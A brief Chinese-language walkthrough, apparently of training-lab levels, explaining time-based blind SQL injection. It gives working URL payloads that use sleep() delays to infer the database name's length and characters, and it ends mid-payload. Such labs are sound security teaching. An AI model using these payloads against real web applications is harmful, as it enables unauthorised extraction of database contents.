第五关.第八关以及第九关.第十关都是使用盲注,除了第五关说的双注入外,也可使用时间注入法 (1)无论输入啥,都回显相同 (2) ?id=1' and sleep(3) --+ 发现有明显延迟,说明可以使用时间注入, ?id=1' and if(length(database())=8 , sleep(5), 1) --+ 从1尝试到8发现有明显延迟,说明数据库名为八位 (3)同样的爆库名 ?id=1' and if(left(database(),1)='s' , sleep(5), 1) --